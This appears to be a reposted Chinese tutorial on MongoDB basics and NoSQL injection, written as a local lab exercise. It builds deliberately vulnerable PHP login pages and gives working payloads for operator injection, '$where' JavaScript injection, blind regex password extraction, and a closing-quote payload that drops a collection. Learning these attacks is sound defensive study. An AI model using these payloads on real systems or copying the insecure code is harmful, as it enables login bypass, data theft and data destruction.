MONGODB 的基础 NOSQL注入基础

news2024/9/22 23:33:47

首先来学习一下nosql

这里安装就不进行介绍 只记录一下让自己了解mongodb

ubuntu 安装后 进入 /usr/bin  

./mongodb

即可进入

然后可通过 进入的url链接数据库

基本操作

show db

show dbs

show tables

use  数据库名

插入数据

db.admin.insert({json格式的数据})

例如 

db.admin.insert({'id':1,'name':admin,'passwd':admin123})

或者通过定义的方法

canshu={'id':1,'name':admin,'passwd':admin123}

db.admin.insert(canshu)

删除

db.admin.remove()

更新

db.admin.update({'name':'admin'},{$set{'id':1}})

前面是条件 后面是更新的内容

然后我们现在需要来查看 nosql的符号

条件操作符

$gt : >
$lt : <
$gte: >=
$lte: <=
$ne : !=、<>
$in : in
$nin: not in
$all: all 
$or:or
$not: 反匹配(1.3.3及以上版本)
模糊查询用正则式:db.customer.find({'name': {'$regex':'.*s.*'} })
/**
* : 范围查询 { "age" : { "$gte" : 2 , "$lte" : 21}}
* : $ne { "age" : { "$ne" : 23}}
* : $lt { "age" : { "$lt" : 23}}
*/

解释

$gt	大于
$lte	小于等于
$in	包含
$nin	不包含
$lt	小于
$gte	大于等于
$ne	不等于
$eq	等于
$and	与
$nor	$nor在NOR一个或多个查询表达式的数组上执行逻辑运算,并选择 对该数组中所有查询表达式都失败的文档
$not	反匹配(1.3.3及以上版本),字段值不匹配表达式或者字段值不存在
$or

 知道这五个其实就OK了

SQL注入

因为这里传入的都是json格式的文件

所以首先我们来搭建一个查询网站

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb"); //修改url
$username = $_POST['username'];  //修改集合字段
$password = $_POST['password'];

$query = new MongoDB\Driver\Query(['name' => $username, 'password' => $password]);
$result = $manager->executeQuery('test.admin', $query)->toArray();

$count = count($result);
$queryString = json_encode($result);
echo '查询结果: ' . $queryString . '<br>';

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo $user;
        echo '====Login Success====<br>';
        echo 'username: ' . $user['name'] . '<br>';  //修改集合字段
        echo 'password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}

 测试后是ok的 那么这里我们如何注入呢

我们首先要知道传入的语句是什么呢

'name' => $username, 'password' => $password

 其实是这个

我们构思一下 如果我们传入一个

永真注入

username[$ne]=1&password[$ne]=1

[$ne] 为 != 


那么这里传入的语句是什么呢


'name' => array('$ne'=> 1), 'password' => array('$ne'=>1)

mongodb 的查询语句 就变为了 

db.admin.find({'username':{$ne:1}, 'password':{$ne:1}})

只要username和password !=0 就都查询出来  

 

这里其实是PHP特性导致的

value = 1 

传入的参数就是 1

value[$ne]

传入的参数就是 array([$ne]=>1)

 联合注入  (过时)

这里其实也是设计者的错误

我们将 查询语句

name => $username,password => $passwd

修改为

"{ username: '" + $username + "', password: '" + $password + "' }"

变成拼接模式

 当我们正常输入的时候

{username : admin,password: admin123}

查询语句就是

db.admin.find({username : 'admin',password: 'admin123'})

但是我们如果不正常查询呢

我们传入
username = admin', $or: [ {}, {'a': 'a
password = ' }]

最后获取到的数据是什么呢


db.admin.find({ name: 'admin', $or: [ {}, {'a':'a', password: '' }]})

实现了查询注入

但是这个方法现在可能都无法使用 ,现在的开发都必须要传入一个数组或者Qurey对象

JavaScript注入

mongodb支持JavaScript的脚本辅助

这里要提及mongodb的关键词 $where

$where关键词

在MONGODB中 支持使用 $where关键词进行javascrip执行

db.admin.find({ $where: "function(){return(this.name == 'admin')}" })

这是一个简单的利用 执行函数返回用户名的数据

 但是在例如直接传参的时候 就会造成注入


db.admin.find({ $where: "function(){return(this.name == $userData" })


db.admin.find({ $where: "function(){return(this.name =='a'; sleep(5000))}" })

 这里就可以查询到不该查询的内容 和 盲注

我们也测试一下

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];
$function = "function() {
    var name = '".$username."';
    var password = '".$password."';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

$query = new MongoDB\Driver\Query(['$where' => $function]);
$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);
if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '====Login Success====<br>';
        echo 'username: '.$user['name']."<br>";
        echo 'password: '.$user['password']."<br>";
    }
} else {
    echo 'Login Failed';
}
?>

 我们正常传输入

java脚本是

function() {
    var name = 'admin';
    var password = 'admin123';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}


然后进入数据库

db.admin.find({$where:function() {
    var name = 'admin';
    var password = 'admin123';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
  }
})

那么这里我们使用注入呢

我们构造万能钥匙

username=1&password=1';return true;var a='1
username=1&password=1';return true//
进入javascrip为

$function = "function() {
    var name = '1';
    var password = '1';return true;var a='1';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

美化后
$function = "function() {
    var name = '1';
    var password = '1';
    return true;
    var a='1';
    if(name == 'admin' && password == 'admin123'){
        return true;
    }else{
        return false;
    }
}";

这里可以发现 直接return ture 所以绕过了下面的判断

 

comment方法造成注入

这里的内容其实是被php官方制止的 因为很容易造成漏洞

但是如果工作量很大 难免有人选择

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];

$filter = ['name' => $username];
$query = new MongoDB\Driver\Query($filter);

$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '====Login Success====<br>';
        echo 'username: ' . $user['name'] . '<br>';
        echo 'password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}
?>

 这个时候 其实我们就已经是shell的权限了 我们可以开始操作数据库

但是本地是最新的mongodb

所以出现报错


Fatal error: Uncaught MongoDB\Driver\Exception\CommandException: no such command: 'eval' in C:\Users\Administrator\Desktop\CTFcode\dir.php:9 Stack trace: #0 C:\Users\Administrator\Desktop\CTFcode\dir.php(9): MongoDB\Driver\Manager->executeCommand('admin', Object(MongoDB\Driver\Command)) #1 {main} thrown in C:\Users\Administrator\Desktop\CTFcode\dir.php on line 9

但是我们看payload其实就ok了

username=1'});db.users.drop();db.user.find({'username':'1
username=1'});db.users.insert({"username":"admin","password":123456"});db.users.find({'username':'1

 我们发现其实就是通过闭合 然后就可以执行命令了

布尔注入

<?php
$manager = new MongoDB\Driver\Manager("mongodb://127.0.0.1:27017/?compressors=disabled&gssapiServiceName=mongodb");
$username = $_POST['username'];
$password = $_POST['password'];

$query = new MongoDB\Driver\Query([
    'name' => $username,
    'password' => $password
]);

$result = $manager->executeQuery('test.admin', $query)->toArray();
$count = count($result);

if ($count > 0) {
    foreach ($result as $user) {
        $user = (array)$user;
        echo '==== Login Success ====<br>';
        echo 'Username: ' . $user['name'] . '<br>';
        echo 'Password: ' . $user['password'] . '<br>';
    }
} else {
    echo 'Login Failed';
}
?>

首先我们在已知账号的情况下可以

password[$regex]=.{6}

 通过正则匹配来获取

具体传入内容是

{
    'name':'admin',
    'password':array([$regex]=>'.{6}')

}

这里是匹配任意6个字符

进入数据库后是 

db.admin.find({'name':'admin','password':{$regex:'.{6}'}})

 

 发现实现了访问

发现超过了就没有回显了 所以这里可以拿来测试密码长度

我们要获取数字 其实就可以通过正则表达式来

db.admin.find({'name':'admin','password':{$regex:'^a'}})

db.admin.find({'name':'admin','password':{$regex:'^ad'}})

 

这里 基本的nosql注入 就实现了

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1237624.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

数据结构-快速排序“人红是非多”?看我见招拆招

目录 1.快速排序 Hoare版本&#xff1a; 挖坑法&#xff1a; 前后指针版本: 快速排序的时间复杂度 2.快速排序的优化 三数取中法选key 随机数选key 三路划分法 3. 非递归实现快速排序 1.快速排序 快速排序一共有三种版本&#xff1a;Hoare版本、挖坑法、前后指针版本…

JSP EL表达式基本使用

今天我们来说EL表达式 这在整个jsp中都是非常重要的一章 因为 如果我们用 <%属性%> 属性为空时 直接就是个 null 这个肯定是不能让用户看到的东西 所以 我们就需要EL表达式 例如 我们jsp代码编写如下 <% page contentType"text/html; charsetUTF-8" page…

抖音seo短视频矩阵源码开发部署与维护--开源

一、引言 随着抖音等短视频平台的崛起&#xff0c;越来越多的企业和个人开始关注如何在这些平台上提升曝光量和用户流量。抖音SEO&#xff08;搜索引擎优化&#xff09;是一种有效的方法&#xff0c;通过优化短视频内容和关键词&#xff0c;让更多的人找到并点击你的视频。本文…

基于PHP的动漫周边购物系统

有需要请加文章底部Q哦 可远程调试 基于PHP的动漫周边购物系统 一 介绍 此动漫周边购物系统系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。用户可注册登录&#xff0c;购物下单&#xff0c;评论等。管理员登录后台可对动漫周边商品&#xff0c;用户…

【23真题】难!下沙“小清华”难度爆增!

今天分享的是23年“下沙小清华”杭州电子科技大学843的信号与系统试题及解析。 本套试卷难度分析&#xff1a;22年杭电843考研真题&#xff0c;我也发布过&#xff0c;若有需要&#xff0c;戳这里自取&#xff01;平均分为112分&#xff0c;最高分为145分&#xff01;该院校23…

优化3种教学方法

在教育领域&#xff0c;教学方法对于学生的学习成果和兴趣至关重要。 第一种是项目式学习。这种方法鼓励学生通过完成实际的项目来获取知识&#xff0c;而不仅仅是在课堂上听讲。学生需要在实际操作中解决问题&#xff0c;这能培养他们的创新思维和实践能力。项目式学习还能提高…

验收材料-软件质量保证措施

一、 质量保障措施 二、 项目质量管理保障措施 &#xff08;一&#xff09; 资深的质量经理与质保组 &#xff08;二&#xff09; 全程参与的质量经理 &#xff08;三&#xff09; 合理的质量控制流程 1&#xff0e; 质量管理规范&#xff1a; 2&#xff0e; 加强协调管理&…

OCR是什么意思,有哪些好用的OCR识别软件?

1. 什么是OCR&#xff1f; OCR&#xff08;Optical Character Recognition&#xff09;是一种光学字符识别技术&#xff0c;它可以将印刷体文字转换为可编辑的电子文本。OCR技术通过扫描和分析图像中的文字&#xff0c;并将其转化为计算机可识别的文本格式&#xff0c;从而…

mysql开启慢查询日志

直接看原文: 原文链接:MySQL慢查询日志开启、配置、分析等操作_Code0cean的博客-CSDN博客 ------------------------------------------------------------------------------------------------------------------------------- 命令总结: 查看慢查询日志文件 tail -100f …

webGL开发微信小游戏

WebGL 是一种用于在浏览器中渲染 2D 和 3D 图形的 JavaScript API。微信小游戏本质上是在微信环境中运行的基于 Web 技术的应用&#xff0c;因此你可以使用 WebGL 来开发小游戏。以下是基于 WebGL 开发微信小游戏的一般步骤&#xff0c;希望对大家有所帮助。北京木奇移动技术有…

下载安装升讯威在线客服系统时提示风险的解决办法

客服系统的服务端程序、客服端程序、配套的配置工具涉及磁盘文件读写、端口监听&#xff0c;特别是经过混淆加密后&#xff0c;可能被部分浏览器或部分杀毒软件提示风险。请忽略并放心使用&#xff0c;如果开发软件是为了植入木马&#xff0c;这个代价可太大了&#xff0c;不如…

向量数据库,展望AGI时代

无论是向量数据库&#xff0c;还是大模型&#xff0c;归根结底&#xff0c;大家在追捧它时的心态&#xff0c;焦虑大于需求。 向量数据库的热潮&#xff0c;在一定程度上“外化”了人们的焦虑。 但这并不能否定向量数据库的实际价值&#xff0c;甚至更长远来看&#xff0c;向…

低代码!小白用10分钟也能利用flowise构建AIGC| 业务问答 | 文本识别 | 网络爬虫

一、与知识对话 二、采集网页问答 三、部署安装flowise flowise工程地址&#xff1a;https://github.com/FlowiseAI/Flowise flowise 官方文档&#xff1a;https://docs.flowiseai.com/ 这里采用docker安装&#xff1a; step1&#xff1a;克隆工程代码 &#xff08;如果网络…

FFmpeg 6.1 开放源码多媒体框架近日发布了重大更新

导读FFmpeg 6.1 开放源码多媒体框架近日发布了重大更新&#xff0c;带来了新功能、新解码器、新过滤器和许多其他变化。 在 FFmpeg 6.0 “Von Neumann “版本发布八个多月后&#xff0c;FFmpeg 6.1 被命名为 “Heaviside”&#xff0c;引入了多线程 Vulkan 硬件加速解码&#x…

2023年中国宠物清洁用品分类、市场规模及发展特征分析[图]

宠物清洁用品指专用于清洁宠物毛发、口腔、耳部、脚爪等部位的各类宠物用品&#xff0c;包括宠物香波、滴耳露、修毛刀等。宠物主对宠物清洁用品需求的出现&#xff0c;一定程度上反映出部分宠物主与宠物间的感情逐渐加深&#xff0c;并逐渐达到了较为亲密的程度。随着宠物清洁…

CentOS使用docker安装OpenGauss数据库

1.搜索OpenGauss docker search opengauss 2.选择其中一个源拉取 docker pull docker.io/enmotech/opengauss 3.运行OpenGauss docker run --name opengauss --privilegedtrue --restartalways -d -e GS_USERNAMEpostgres -e GS_PASSWORDmyGauss2023 -p 5432:5432 docker.…

webGL技术开发的软件类型

WebGL 是一种在浏览器中渲染 2D 和 3D 图形的 JavaScript API。通过 WebGL&#xff0c;你可以创建各种类型的软件项目&#xff0c;特别是那些需要强大图形渲染能力的项目。以下是一些你可以使用 WebGL 实现的软件项目类型&#xff0c;希望对大家有所帮助。北京木奇移动技术有限…

ubuntu22.04安装网易云音乐

附件&#xff1a; https://download.csdn.net/download/weixin_44503976/88557248 wget https://d1.music.126.net/dmusic/netease-cloud-music_1.2.1_amd64_ubuntu_20190428.deb wget -O patch.c https://aur.archlinux.org/cgit/aur.git/plain/patch.c?hnetease-cloud-m…

【C++进阶】二叉搜索树(BSTree)

​&#x1f47b;内容专栏&#xff1a;C/C编程 &#x1f428;本文概括&#xff1a;二叉搜索树的基本操作(查找、删除、插入)、二叉搜索树的应用&#xff0c;KV模型。 &#x1f43c;本文作者&#xff1a;阿四啊 &#x1f438;发布时间&#xff1a;2023.11.22 一、二叉搜索树 1.1…

网络和Linux网络_4(应用层)序列化和反序列化(网络计算器)

目录 1. 重新理解协议 2. 网络版本计算器 2.1 前期封装 Log.hpp sock.hpp TcpServer.hpp 第一次测试(链接) 2.2 计算器实现 第二次测试(序列化和反序列化) 第三次测试(客户端字节流) CalServer.cc CalClient.cc 3. 守护进程 3.1 守护进程和前后台进程 3.1 变成…